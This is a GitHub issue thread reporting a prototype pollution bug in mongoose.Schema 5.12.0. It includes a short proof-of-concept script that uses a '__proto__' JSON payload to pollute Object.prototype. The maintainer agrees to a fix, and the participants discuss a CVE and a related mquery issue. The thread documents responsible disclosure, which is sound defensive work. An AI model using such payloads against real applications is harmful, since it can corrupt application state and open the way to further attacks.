Possible prototype pollution in mongoose.Schema

[zpbrent]

NodeJS version: 14.16.0
Mongoose version: 5.12.0

I find the mongoose.Schema() is subject to prototype pollution due to the recursively calling of Schema.prototype.add() function to add new items into the schema object. This vulnerability allows modification of the Object prototype.

// PoC.js
mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

What is the current behavior?
out put:

Before: undefined
After: HACKED

What is the expected behavior?
out put:

Before: undefined
After: undefined

I have reported this vul through huntr.dev at https://www.huntr.dev/bounties/1-npm-mongoose/
As well as proposed a possible fix with a PR at 418sec#1

Please help to confirm whether this is indeed a bug and also whether the fix is feasible, thanks!

[vkarpov15]

The fix is feasible and thank you for pointing this out! Passing user data to the Schema constructor isn't a common use case that we're aware of, but it is better to have this fix just in case 👍 Do you want to put in a PR or should we?

[zpbrent]

The fix is feasible and thank you for pointing this out! Passing user data to the Schema constructor isn't a common use case that we're aware of, but it is better to have this fix just in case 👍 Do you want to put in a PR or should we?

Thank you for your response @vkarpov15 . Yes, I need your help to reply @huntr-helper - LGTM in 418sec#1 , then the huntr bot can automatically open a new PR to request the merge to your package with the fix , many thanks.

By the way, what is your opinion whether this bug deserves a CVE? If possible, can you help to request one for it, many thanks!

[vkarpov15]

Re: CVE, it's debatable. While allowing user-specified data into your schema is certainly possible, doing so seems to defeat the point of using Mongoose. I'd err on the side of not adding a CVE to reduce noise, but I'm open to arguments to the contrary.

[zpbrent]

Re: CVE, it's debatable. While allowing user-specified data into your schema is certainly possible, doing so seems to defeat the point of using Mongoose. I'd err on the side of not adding a CVE to reduce noise, but I'm open to arguments to the contrary.

Hey @vkarpov15 , OK, I agree with you. It is indeed not quite common that the schema is used in the polluted way :-)

By the way, I have found another prototype pollution in mquery@3.2.4 due to the incomplete fix. I open an issue in mquery at mongoosejs/mquery#120, and also report this vul through huntr.dev and propose a possible fix at 418sec/mquery#1 . Seems you are also the maintianers of mquery and please help to review it :-)

If you also like that fix at mquery@3.2.4, I also need you reply @huntr-helper - LGTM at 418sec/mquery#1 in order to enable the huntr bot to automatically open a new PR to request the merge to your mquery package with the fix , many thanks.

[vkarpov15]

@zpbrent done re: mquery 👍